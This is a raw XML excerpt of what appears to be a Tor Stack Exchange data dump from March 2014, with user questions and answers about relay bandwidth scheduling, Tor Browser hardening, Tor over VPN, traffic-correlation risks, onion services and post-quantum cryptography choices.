  <row Id="1673" PostTypeId="2" ParentId="1671" CreationDate="2014-03-08T00:23:09.600" Score="1" Body="&lt;p&gt;You can create two &lt;code&gt;torrc&lt;/code&gt; files and make your settings in each one. Now set up a cronjob which stops one process and stops the other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; crontab -l&#xA;# m h  dom mon dow   command&#xA;00 06 * * * service tor-fast stop &amp;amp;&amp;amp; service tor-slow start&#xA;00 20 * * * service tor-slow stop &amp;amp;&amp;amp; service tor-fast start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above-mentioned case uses the initscript. There are two file (&lt;code&gt;tor-fast&lt;/code&gt; and &lt;code&gt;tor-slow&lt;/code&gt;) which reference the correct &lt;code&gt;torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dynamic approach could be done with QoS (quality of service). You need a special software and need to prioritise your traffic. Tor should have a lower priority in your case. When there is some traffic, this is preferred and when there is none, Tor can use the whole bandwidth.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-03-08T00:23:09.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1676" PostTypeId="1" CreationDate="2014-03-08T16:29:30.403" Score="1" ViewCount="3184" Body="&lt;p&gt;When I try to load a Silverlight application in the Tor Browser, I get an error saying Silverlight could not be found. I clicked yes when it asked me if the browser should load external content but when I tried to uncheck the 'Disable plug-ins'-checkbox in Preferences it would automatically check it again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a solution?&lt;/p&gt;&#xA;" OwnerUserId="1322" LastActivityDate="2014-03-08T16:29:30.403" Title="Silverlight not working" Tags="|windows|" AnswerCount="0" CommentCount="3" ClosedDate="2014-12-13T22:11:11.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="1680" PostTypeId="2" ParentId="1671" CreationDate="2014-03-09T12:12:06.670" Score="7" Body="&lt;p&gt;A similar method to what Jens Kubieziel♦ already mentioned is not completely restarting the server, but using Tor's ControlPort to change the bandwidth limits at certain times of the day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be achieved by the following cronjobs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 6 * * * echo -en &quot;authenticate\r\nsetconf relaybandwidthrate=100000 relaybandwidthburst=200000\r\nquit\r\n&quot; | nc localhost 9051&#xA;0 20 * * * echo -en &quot;authenticate\r\nsetconf relaybandwidthrate=200000 relaybandwidthburst=400000\r\nquit\r\n&quot; | nc localhost 9051&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way Tor will remain running, no restart of Tor is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0 6 * * *&lt;/code&gt; means the the minute 0 of the 6th hour of the day (so 6am) and&#xA;&lt;code&gt;0 20 * * *&lt;/code&gt; the 20th hour (20 - 12, cause PM is 8, so 8am).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idle setting might be harder, because how much bandwidth is often unrelated to people sitting in front of the computer. Web surfing, as long as you don't stream videos or something like that often requires way less bandwidth than a download for example and while people download something it might be that they leave their computers. Tor would need a way to find out what the currently available bandwidth is, which can be hard. Different users have have different behaviors and to cover them all or at least a major portion can be tricky, also you may not want to decrease your limits, if you just have a small spike (e.g. because a Youtube video is loading).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem is the connection limit, because of the available network connection or the amount of RAM or CPU-power provided by the system. For that &lt;code&gt;MaxAdvertisedBandwidth&lt;/code&gt; might be set lower, which in case of a Rapberry Pi behind a quick network might make sense. If you set this option to a lower value you still provide the same amount of bandwidth, but have fewer users connecting to your relay, which might lower RAM usage and provide a better experience for people conning through your relay.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="1292" LastEditDate="2014-03-09T12:24:37.903" LastActivityDate="2014-03-09T12:24:37.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1684" PostTypeId="1" AcceptedAnswerId="1693" CreationDate="2014-03-10T04:40:55.763" Score="3" ViewCount="382" Body="&lt;p&gt;During a panel at the 2014 SXSW conference, &lt;a href=&quot;http://en.wikipedia.org/wiki/Julian_Assange&quot; rel=&quot;nofollow&quot;&gt;Julian Assange&lt;/a&gt; (founder of &lt;a href=&quot;http://wikileaks.org/&quot; rel=&quot;nofollow&quot;&gt;Wikileaks&lt;/a&gt;) &lt;a href=&quot;http://www.dailymail.co.uk/news/article-2576745/Assange-warns-SXSW-surveillance-state-person-Earth-digitally-monitored.html&quot; rel=&quot;nofollow&quot;&gt;stated&lt;/a&gt; &quot;The ability to surveil everyone on the planet is almost there and, arguably, will be there in the next couple of years&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we get to the point where all network traffic was recorded at every ISP, will Tor still be effective at anonymization? &lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorDisplayName="user5" LastEditDate="2014-03-12T03:18:28.937" LastActivityDate="2015-05-25T15:22:51.680" Title="If all network traffic is being monitored, will Tor still be effective at anonymization?" Tags="|anonymity|attacks|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1685" PostTypeId="1" CreationDate="2014-03-10T19:51:03.500" Score="1" ViewCount="118" Body="&lt;p&gt;So as a new user that is interested in using Tor, is it really as simple and just downloading the package and then using firefox like normal?&lt;/p&gt;&#xA;" OwnerUserId="1336" LastEditorDisplayName="user5" LastEditDate="2014-03-11T15:21:59.603" LastActivityDate="2014-04-12T13:55:58.180" Title="New user wanting to learn how to use Tor" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1686" PostTypeId="1" CreationDate="2014-03-11T14:14:34.413" Score="1" ViewCount="557" Body="&lt;p&gt;Say I first connect to a VPN, and then open TBB. I think this is count as Tor oven VPN. Now, if my VPN connection (or my internet connection totally) drops when I'm working with Tor, will this unmask me to my ISP and/or to the website which I was visiting? In other words, does these kind of connection dropping lead to failure in Tor mechanism?&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2016-01-15T04:32:47.377" Title="Tor over VPN -- Will I be unmasked if VPN is died?" Tags="|vpn|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1687" PostTypeId="2" ParentId="1685" CreationDate="2014-03-11T14:40:13.060" Score="1" Body="&lt;p&gt;For most normal use cases, downloading TBB and using it out of the box is sufficient, plus the non-technical behavioral change (learning how not to stand away from the crowd, how not to be easily track-able, and not to make mistakes that can lead to identify you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor project website has a &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#warning&quot; rel=&quot;nofollow&quot;&gt;list of warnings&lt;/a&gt; that is useful, plus there's a good community (&lt;a href=&quot;http://tor.stackexchange.com&quot;&gt;eg.&lt;/a&gt;) that can help along the path.. Yyeah, for most cases, the Tor project is making a great effort to make Tor usable out of the box (keeping that in mind while &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBJavaScriptEnabled&quot; rel=&quot;nofollow&quot;&gt;configuring NoScript&lt;/a&gt;, for example)...&lt;/p&gt;&#xA;" OwnerUserId="456" LastEditorUserId="1363" LastEditDate="2014-04-10T19:21:44.267" LastActivityDate="2014-04-10T19:21:44.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1688" PostTypeId="2" ParentId="1503" CreationDate="2014-03-11T20:42:15.687" Score="2" Body="&lt;p&gt;The 3 configuration examples given offer different benefits and drawbacks. Our preference would be towards #1, as this minimizes latency while offering security on the transportation layer (and with a DNSSEC validating cache, validation of the origin and answer itself). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a security standpoint, this should allow the same level of protection that Tor does from an encryption standpoint.  Of course the DNS server that you are using knows your IP address and what you are requesting, so either you have to trust the DNS server you are using, or you have to use one of the other 2 options proposed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major drawback we see regarding the other 2 options are added latency.  DNS is pretty time sensitive, the longer it takes to resolve, the worse things go for you.  While adding 3 seconds of latency to an HTTP request isn't good, it's not going to break anything.  If you add 3 seconds of latency to a DNS request, it's likely your computer will simply act as if the request failed.  So, either SHOULD work, the security offered between them is pretty comparable, but there are many different opinions on this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reason to go for option 2 or 3 (although not sure there's enough difference between those 2 to really matter) would be wanting to hide your source IP from the DNS server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOURCE: OpenDNS Support Team&lt;/p&gt;&#xA;" OwnerUserId="1346" LastActivityDate="2014-03-11T20:42:15.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1689" PostTypeId="2" ParentId="1686" CreationDate="2014-03-12T04:41:43.883" Score="1" Body="&lt;p&gt;As long as you're using TBB as intended for browsing, there's no risk of your ISP seeing what sites you're visiting. There's also no risk of sites that you're visiting seeing your ISP-assigned IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the worst, your ISP will see that you're using Tor. That is, if your normal Internet connection is restored when the VPN connection drops, the Tor client will happily carry on without it. To prevent that, you can use firewall rules and routing to permit Internet connections only through the VPN service.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-03-12T04:41:43.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1690" PostTypeId="5" CreationDate="2014-03-12T09:13:06.047" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-03-12T09:13:06.047" LastActivityDate="2014-03-12T09:13:06.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1691" PostTypeId="4" CreationDate="2014-03-12T09:13:06.047" Score="0" Body="De-anonymization (also spelt as deanonymization) is a strategy in data mining in which anonymous data is cross-referenced with other sources of data to re-identify the anonymous data source." OwnerUserId="1353" LastEditorUserId="1353" LastEditDate="2014-03-12T12:23:10.673" LastActivityDate="2014-03-12T12:23:10.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1692" PostTypeId="1" CreationDate="2014-03-12T09:13:43.347" Score="1" ViewCount="1588" Body="&lt;p&gt;Sometimes I am surfing anonymously via Tor and parallelly with a regular browser in the clearnet. Is it anyhow unsecure to do so? Should I use Tor exclusively when I want to remain anonymous?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(There is a somehow similar &lt;a href=&quot;https://tor.stackexchange.com/q/86/1353&quot;&gt;question and answer&lt;/a&gt;, but I would like to know about using a regular browser beside Tor.)&lt;/p&gt;&#xA;" OwnerUserId="1353" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-03-12T13:04:05.697" Title="Is my anonymity compromised when I am in the clearnet with another browser while surfing with Tor?" Tags="|anonymity|security|browsers|" AnswerCount="1" CommentCount="3" ClosedDate="2014-03-12T13:39:28.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="1693" PostTypeId="2" ParentId="1684" CreationDate="2014-03-12T13:01:43.260" Score="6" Body="&lt;p&gt;The short answer is no. Basically, Tor is susceptible to timing correlation attacks, where someone who is observing the connection going from your client (OP) to the Tor network and also the connection from the Tor network to your destination can tell with fairly high certainty that they are the same connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you would need to correlate data from multiple ISPs to do this. The &lt;em&gt;traffic confirmation&lt;/em&gt; scenario, where I suspect that user &lt;strong&gt;X&lt;/strong&gt; at ISP &lt;strong&gt;A&lt;/strong&gt; is accessing site &lt;strong&gt;Y&lt;/strong&gt; at ISP &lt;strong&gt;B&lt;/strong&gt;, is fairly easy. The full deanonymization scenario would require me to analyze traffic from a large number of ISPs to look for correlations. As far as I know, there hasn't been an analysis of how easy this is to do at Internet scale, but there's no good reason to believe that it couldn't be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: For a timing attack to work they need to be able to single out just your traffic on Tor. If you run a full node on your computer and also use Tor to browse the Internet they cannot distinguish the traffic coming from you and for all the other routing taking place. This makes it impossible for them to do this with any reliability.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="-1" LastEditDate="2015-05-25T15:22:51.680" LastActivityDate="2015-05-25T15:22:51.680" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1694" PostTypeId="2" ParentId="1692" CreationDate="2014-03-12T13:04:05.697" Score="0" Body="&lt;p&gt;I think, as with the other question, the short answer is no, but there is some possibility of sophisticated attacks that might be able to tell that your clearnet connection and the one you are making over Tor come from the same place.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-12T13:04:05.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1695" PostTypeId="2" ParentId="48" CreationDate="2014-03-12T13:40:53.187" Score="0" Body="&lt;p&gt;(This answer is just about the Tor software without using any special OS or any other software.)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Keep your Tor Browser Bundle up to date&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First of all, always keep your Tor Browser Bundle up to date. If there is a newer version available, don't use the old Bundle anymore. Download the new bundle and install it to a separate folder. Don't install over the old files. This ensures that no trace from the old installation which may compromise your security is left. Completely remove the old folder.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Forbid scripts globally&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Second, click on the &lt;img src=&quot;https://i.stack.imgur.com/hz1uW.png&quot; alt=&quot;Scripts enabled&quot;&gt; at the upper left area of Tor and click &quot;Forbid Scripts Globally (advised)&quot;. The icon now should look like this: &lt;img src=&quot;https://i.stack.imgur.com/EMAnb.png&quot; alt=&quot;Scripts disabled&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on the &lt;img src=&quot;https://i.stack.imgur.com/EMAnb.png&quot; alt=&quot;Scripts disabled&quot;&gt; again and click on &lt;code&gt;Options&lt;/code&gt;. Chose the tab &lt;code&gt;Appearance&lt;/code&gt;. Make sure that &lt;code&gt;Allow Scripts Globally (dangerous)&lt;/code&gt; is &lt;strong&gt;unchecked&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HaT4r.png&quot; alt=&quot;Disallow scripts globally&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Disable Embeddings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now switch to the Tab &lt;code&gt;Embeddings&lt;/code&gt;. Disable all embeddings like Flash, Java etc:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Forbid Java&lt;/li&gt;&#xA;&lt;li&gt;Forbid Adobe Flash&lt;/li&gt;&#xA;&lt;li&gt;Forbid Microsoft Silverlight&lt;/li&gt;&#xA;&lt;li&gt;Forbid other plugins&lt;/li&gt;&#xA;&lt;li&gt;Forbid &amp;lt;IFRAME&amp;gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O6wd9.png&quot; alt=&quot;Forbid embeddings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Check your config&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Enter &lt;code&gt;about:config&lt;/code&gt; in the address bar. Search for &lt;code&gt;javascript.enabled&lt;/code&gt; and make sure it is &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1353" LastActivityDate="2014-03-12T13:40:53.187" CommentCount="1" CommunityOwnedDate="2014-03-12T13:40:53.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="1696" PostTypeId="1" CreationDate="2014-03-12T15:37:41.773" Score="1" ViewCount="253" Body="&lt;p&gt;Every time I try using Tor. An error message reads &quot;Firefox cannot establish connection to server&quot;, I don't know how to fix it. Can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See screenshot.&lt;img src=&quot;https://i.stack.imgur.com/tpJEl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1354" LastEditorUserId="923" LastEditDate="2014-08-02T12:48:59.790" LastActivityDate="2014-12-13T21:47:47.330" Title="Cannot connect using Firefox?" Tags="|help|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1697" PostTypeId="1" AcceptedAnswerId="1702" CreationDate="2014-03-12T16:15:08.723" Score="8" ViewCount="173" Body="&lt;p&gt;Presumably this doesn't help protect their identity, since they are also accessible over the regular Internet. Does it make things somehow easier for users? I think you have to set up a local Tor client in either case. Is there a security benefit?&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-13T17:12:11.857" Title="Why do sites such as DuckDuckGo and freenode set up hidden services?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1698" PostTypeId="2" ParentId="1647" CreationDate="2014-03-12T16:45:02.277" Score="5" Body="&lt;p&gt;I would say advantages of ECC are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Performance—see Curve25519 performance on linked page&lt;/li&gt;&#xA;&lt;li&gt;More analysis—this is debatable, but I would say ECC is better understood in the crypto community than lattices.&lt;/li&gt;&#xA;&lt;li&gt;Spotty history of NTRU, which had to be revised several times, IIRC, based on cryptanalytic attacks.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think there might also be patent issues around NTRU, but I'm not sure. Also, it's worth noting that it's the NIST curves that are the most suspect from the NSA standpoint; there is some chance that they can break all ECC, but there's not much evidence of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the quantum computing, my feeling is that there is a very large gap between what is possible in QC today and what would be needed to break ECC in practice. Post-quantum algorithms are an important research subject, but I don't see a strong argument for deploying them at the moment.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-12T16:45:02.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1699" PostTypeId="1" AcceptedAnswerId="1703" CreationDate="2014-03-12T17:13:58.763" Score="3" ViewCount="162" Body="&lt;p&gt;For the sake of argument, let us assume that all traffic is monitored and recorded at your ISP. Would hosting a Tor relay on the same machine that you are running Tor Browser Bundle protect you from some forms of traffic analysis? &lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-03-13T14:48:59.457" Title="Does hosting a relay on the same machine as your browser improve anonymization?" Tags="|tor-browser-bundle|relays|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1701" PostTypeId="2" ParentId="1647" CreationDate="2014-03-12T22:34:11.287" Score="2" Body="&lt;p&gt;I did further research on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NTRU appears to have an exception only for GPL code (there is a version by the company creating NTRU), &lt;strike&gt;but since Tor is BSD it won't fit well.&lt;/strike&gt; (not true, see Tim Buktu's comment)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also researching on this question it seems that at leas Jacob Appelbaum (Tor developer) did some research on this too: &lt;a href=&quot;https://twitter.com/ioerror/status/381940375075569665&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/ioerror/status/381940375075569665&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also he forked CyaSSL on GitHub which supports it: &lt;a href=&quot;https://github.com/ioerror/cyassl&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ioerror/cyassl&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="1292" LastEditDate="2014-03-15T10:46:01.790" LastActivityDate="2014-03-15T10:46:01.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1702" PostTypeId="2" ParentId="1697" CreationDate="2014-03-13T02:35:16.860" Score="4" Body="&lt;p&gt;This allows communications between the client and server to exist entirely within the Tor network (no exit node needed). For sites that are not using SSL the primary benefit of doing this is end to end encryption. For sites which use SSL it can prevent many types of attack, or prevent traffic which uses a cipher suite which does not support perfect forward secrecy from being recorded and deciphered in the future (assuming Tor's encryption can't be broken in the future, but if they're using a future attack on SSL this may not be a good assumption).&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2014-03-13T17:12:11.857" LastActivityDate="2014-03-13T17:12:11.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1703" PostTypeId="2" ParentId="1699" CreationDate="2014-03-13T14:48:59.457" Score="1" Body="&lt;p&gt;Yes it does, however you have to distinguish between two kinds of protection&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you run a relay-only setup with no exits allowed, you make it harder for an attacker to measure your activity and compare it with the activity on certain websites, especially when you let the relay on all the time&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you run an exit node it will give you plausible denyability, because it may not be you visiting a certain website or using a certain service&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;However please keep in mind that from time to time people abuse exit nodes and it might result in house searches or letters and emails to you or your ISP. Depending on the type of complaint and the attitude of your ISP it may have negative effects for you. You can reduce the chance for this by only allowing certain ports or just stick to running an non-exit-relay.&lt;/p&gt;&#xA;&lt;p&gt;See also the official &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#BetterAnonymity&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Yes, you do get better anonymity against some attacks.&lt;/p&gt;&#xA;&lt;p&gt;The simplest example is an attacker who owns a small number of Tor relays. He will see a connection from you, but he won't be able to know whether the connection originated at your computer or was relayed from somebody else.&lt;/p&gt;&#xA;&lt;p&gt;There are some cases where it doesn't seem to help: if an attacker can watch all of your incoming and outgoing traffic, then it's easy for him to learn which connections were relayed and which started at you. (In this case he still doesn't know your destinations unless he is watching them too, but you're no better off than if you were an ordinary client.)&lt;/p&gt;&#xA;&lt;p&gt;There are also some downsides to running a Tor relay. First, while we only have a few hundred relays, the fact that you're running one might signal to an attacker that you place a high value on your anonymity. Second, there are some more esoteric attacks that are not as well-understood or well-tested that involve making use of the knowledge that you're running a relay -- for example, an attacker may be able to &amp;quot;observe&amp;quot; whether you're sending traffic even if he can't actually watch your network, by relaying traffic through your Tor relay and noticing changes in traffic timing.&lt;/p&gt;&#xA;&lt;p&gt;It is an open research question whether the benefits outweigh the risks. A lot of that depends on the attacks you are most worried about. For most users, we think it's a smart move.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-03-13T14:48:59.457" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1706" PostTypeId="1" CreationDate="2014-03-13T18:33:40.857" Score="1" ViewCount="1214" Body="&lt;p&gt;I'm looking to setup iptables rules that redirects traffic (in this case, smtp traffic) to a hidden service on a different server. I've done this before with an OpenVPN connection, but now I want to be able to do so for hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I'm running into is that iptables doesn't see the MapAddress IP that i set in torrc. What would be the best way of routing incoming traffic to a .onion hidden service?&lt;/p&gt;&#xA;" OwnerUserId="1362" LastActivityDate="2014-06-11T23:34:27.553" Title="iptables rules redirect traffic to hidden service" Tags="|onion-services|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1707" PostTypeId="1" CreationDate="2014-03-13T20:58:31.297" Score="2" ViewCount="426" Body="&lt;p&gt;I am a regular TBB user. I update TBB as and when updates are available, with at most a delay of a few days. The bundled addons are also updated regularly. I also have the standalone Vidalia package installed &amp;amp; I usually run it along with TBB. Both are run from a USB Flash drive. I run TBB with NoScript set at &quot;forbid scripts globally&quot; and I use its &quot;temporarily allow ...&quot; option, ad hoc, per site, to gain the requisite functionality from the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed recently, while accessing google.com, that I was being redirected by Google to its country site where I am currently located. When I looked at the exit node it was in a different continent. I've observed that Google.com usually redirects to encrypted.google.com and sometimes to its country site where the exit node is located, when accessed through Tor. I'm not sure how to interpret the anomalous behavior of google.com. Should I assume that my real ip has been revealed to google.com and perhaps to other sites? Is any information being preserved across sessions in the form of cookies or some other means? I would greatly appreciate any help. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I have noted that the behavior seems to be occuring only for that particular exit-node.&lt;/p&gt;&#xA;" OwnerUserId="1364" LastEditorDisplayName="user5" LastEditDate="2014-03-20T21:14:16.090" LastActivityDate="2014-04-05T14:31:20.590" Title="Is Google de-anonymizing me?" Tags="|tor-browser-bundle|security|vidalia|deanonymization|google|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1709" PostTypeId="2" ParentId="1594" CreationDate="2014-03-13T22:10:03.833" Score="1" Body="&lt;p&gt;If Tor is being blocked, your Tor instance may not actually be connected to the network. You can review your Tor logs (usually /var/log/tor) to see if it's properly created a circuit. &lt;/p&gt;&#xA;" OwnerUserId="1181" LastActivityDate="2014-03-13T22:10:03.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1710" PostTypeId="2" ParentId="1706" CreationDate="2014-03-13T22:15:15.343" Score="1" Body="&lt;p&gt;If you've configured torrc to properly resolve .onion addresses, you may need to first make sure that those requests are being sent to the proper port (often this is port 9040 in a lot of example HowTo's). You may need to first create an IPtables rule to redirect requests to this port. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take a look at Tails as an example to has properly configured DNS via iptables. &#xA;&lt;a href=&quot;https://tails.boum.org/contribute/design/Tor_enforcement/#index1h1&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/contribute/design/Tor_enforcement/#index1h1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1181" LastActivityDate="2014-03-13T22:15:15.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1711" PostTypeId="1" CreationDate="2014-03-14T01:57:35.120" Score="3" ViewCount="7536" Body="&lt;p&gt;I'm trying to use Tor in conjunction with FrostWire, and I' following these instructions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ehow.com/how_7510294_do-configure-tor-frostwire.html&quot; rel=&quot;nofollow&quot;&gt;http://www.ehow.com/how_7510294_do-configure-tor-frostwire.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to figure out how to get the control port, as there doesn't seem to be any such thing in settings &gt; advanced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2019-06-27T12:14:02.450" Title="How can I find out what my control port is?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1712" PostTypeId="2" ParentId="1711" CreationDate="2014-03-14T02:28:56.250" Score="3" Body="&lt;p&gt;It is generally port 9151.  If you go to the browser directory, go under Data, then under Tor, look for the torrc-defaults file.  It will say something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ControlPort 9151&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2014-03-14T02:28:56.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1713" PostTypeId="2" ParentId="1647" CreationDate="2014-03-14T11:04:13.160" Score="3" Body="&lt;p&gt;(This is in regards to meee's response, but I don't have enough reputation points to add a comment)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do include BSD and a bunch of other licenses in their FOSS license exception:&#xA;&lt;a href=&quot;https://github.com/NTRUOpenSourceProject/ntru-crypto/blob/master/FOSS%20Exception.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/NTRUOpenSourceProject/ntru-crypto/blob/master/FOSS%20Exception.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Tor should be able to use &lt;a href=&quot;https://github.com/tbuktu/libntru&quot; rel=&quot;nofollow&quot;&gt;libntru&lt;/a&gt; which is BSD-licensed, but it might still not be a good idea. If, for example, somebody wanted to sell a Tor-ready home router, they would probably be asked for patent royalties.&#xA;If I were the Tor people, I wouldn't consider NTRU until the basic patent expires in 2017.&lt;/p&gt;&#xA;" OwnerUserId="1370" LastActivityDate="2014-03-14T11:04:13.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1714" PostTypeId="1" CreationDate="2014-03-14T15:28:36.350" Score="5" ViewCount="1299" Body="&lt;p&gt;What are security advantages of tor over I2P?&lt;/p&gt;&#xA;" OwnerUserId="1371" LastEditorUserId="1371" LastEditDate="2014-03-14T15:34:07.717" LastActivityDate="2014-03-15T11:07:48.250" Title="Security advantages of Tor over I2P" Tags="|onion-routing|i2p|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
